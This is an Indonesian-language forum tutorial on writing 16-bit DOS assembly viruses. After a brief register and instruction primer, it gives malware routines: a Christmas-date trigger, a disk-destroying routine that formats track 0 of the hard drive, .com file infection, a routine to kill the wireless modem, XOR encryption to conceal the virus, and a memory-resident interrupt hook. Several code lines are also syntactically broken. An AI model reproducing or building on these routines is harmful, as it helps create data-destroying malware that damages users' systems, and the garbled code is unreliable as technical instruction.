[b]Sekilas Asm 16 bit[/b] Ok sebelum mulai kita adakan sedikit intro tentang asm 16 bit. Dalam model pemrograman asm 16 bit kita masih banyak menjumpai register [b]8 bit[/b] misal: ah,al,bh,bl,ch,cl,dh,dl sedangkan register 2 dalam model pemrograman asm 16 bit adalah: ax,bx,cx,dx,sp,bp,di,si,ip,sp,dll.... sedikit info tambahan: register 2 seperti ax,bx,cx,dx merupakan register akumulator serba guna register ip merupakan register yang mengalamati isntruksi selanjutnya (instruction pointer), merujuk ke return address resiter sp (stack pointer) merupakan sebuah alamat memori yang biasa disebut sebagai [b]stack[/b] yang menganut sistem kerja LIFO (Last in first Out) -> yg pernah belajar akuntansi biaya pasti ngerti sistem tumpukan lifo ini. [b]Beberapa instruksi Dasar asm[/b] lea : load effective address , misal lea dx,offset pesan -> menghitung alamat memori secara efektif dari variabel pesan ke register dx jz : jump if zero -> locat jika tidak ada sisa atau zero (misal setelah cmp atau div) jc: jump if carry -> loncat jika ada sisa cmp : compare 2 buah register mov : move, misal: mov ah,00 call: panggil -> untuk memanggil suatu makro push : dorong -> memasukkan data ke stack pop : ambil -> mengambil data dari stack div : divide -> membagi add: add-> menambah adc : add if carry (carry=sisa), tambah jika ada sisa jmp :jump -> loncat ke suatu makro jnz: jump if not zero -> kebalikan dari jump if zero int: interup -> pemanggilan interup (daftar interup dan syarat 2 pengisian register bisa dilihat di http://www.htl-steyr.ac.at/~morg/pcinfo/hardware/interrupts/inte1at0.htm) xor exclusive or (biasa digunakan untuk mereset atau mengosongkan register) movs = Move Data from String to String movsb =Move Data from String to Byte dll... ok langsung aja kita lanjut ke contoh-contoh rutin virus asm 16 byte [b]Teknik Timing Bomb [/b] Teknik pemrograman virus yang bekerja dengan cara pengecekan jam di bios komputer, contoh kode asm untuk mengecek tanggal di bios dengan menggunakan interup 1 a fungsi 4 (daftar fungsi 2 interup di ms dos bisa anda lihat di http://www.htl-steyr.ac.at/~morg/pcinfo/hardware/interrupts/inte1at0.htm), contoh rutin timing bomb untuk menampilkan pesan tiap tanggal 25 desember : pesan db 'Selamat Hari Natal dari sang virus hahahaha',0dh,0ah,'$' rutin_timer: xor cx,cx ; reset register cx mov ah, 04h ; syarat penggunaan int 1 a, ah harus diisi 4 hexa int 1A ; eksekusi interup 1 a fungsi 4 hexa ;cek hasil eksekusi di register dx cmp dx,2512 ; 2512 apakah tanggal 25 desember jz makro_aksi_virus ; jump if zero ke makro_aksi_virus makro_aksi_virus: mov ah,09h ;syarat int 21h 09h , register ah harus diisi nilai 9 hexa lea dx, offset pesan ; load effective address ke register dx int 21h ;interup dos fungsi 21 hexa [b]Rutin Perusak Sistem [/b] ok berikut ini adalah contoh rutin yang dibundel dalam makro perusak untuk merusak suatu sistem dengan cara melakukan pemformatan terhadap drive dari track 0 hardisk (misal hardisk drive 0) perusak: mov ah,05 mov cx,0 mov dh,0 mov dl, 80h lea es,bx int 13 h ; eksekusi int 13 hexa fungsi ke 5 [b]Rutin Infeksi pada file .com [/b] Untuk membuat virus non overwriting target file akan sangat kompleks karena ada perhitungan psp header file, untuk kali ini saya akan memberikan contoh teknik infeksi file dengan metode ini. pertama virus menghitung size file lama dikurangi 3 byte. (pada dasarnya teknik ini bukan benar2 tidak melakukan penimpaan terhadap file tapi tetap dilakukan penggantian beberapa byte kode di header file berekstensi .com) contoh rutin untuk mengganti byte asli file : mov di, 100h mov di, offset simpan_byte ;simpan byte sudah didefinisikan movsw ;konvert string ke word movsb ;konvert string ke byte ;mengembalikan kontrol ke program asli mov di, 100h jmp di [b]Mematikan Koneksi Internet Wireless di laptop dengan virus [/b] berikut ini sample virus yang menyebalkan yang berusaha mematikan koneksi internet anda yang dibundel dalam makro matikan_internal_modem: mov ah,44h mov al,00 int 15 h Mengamankan keberadaan virus dengan enksripsi xor contoh rutin: enkripsi_val db ? decrypt: enkripsi: mov ah, enkripsi_val mov cx, bagian_enkrip_end-bagian_enkrip_start mov si, bagian_enkrip_start mov di,si xor loop: lodsb xor al,ah stosb loop xor_loop ret [b]Teknik TSR (Terminate and Stay Resident) [/b] Teknik ini akan membuat virus resident yang akan menginfeksi setiap program yang diload di memori. misal dengan menggunakan interup 21 h fungsi 25 h (AH = 25h AL = interrupt number DS:DX = pointer to interrupt handler returns nothing - provides a safe method for changing interrupt vectors ) ok mari kita tengok lebih lanjut tentang metode ini, sample makro yang menggunakan metode ini: ;awal rutin residen bios_routine: mov ah,25h ; set alamat vektor interup mov al,13 h ; interup ke sekian akan diset ke dalam al mov dx, offset kode_virus ; hasil int 13 h ke sekian merujuk ke kode virus int 21h ; gunakan interup 21 h fungsi 25 h mov dv, offset bios_routine int 27h bios_routine ENDP ;akhir makro residen ok sekian dulu krn harus kerja lagi kita lanjut lain kali hauahauahaua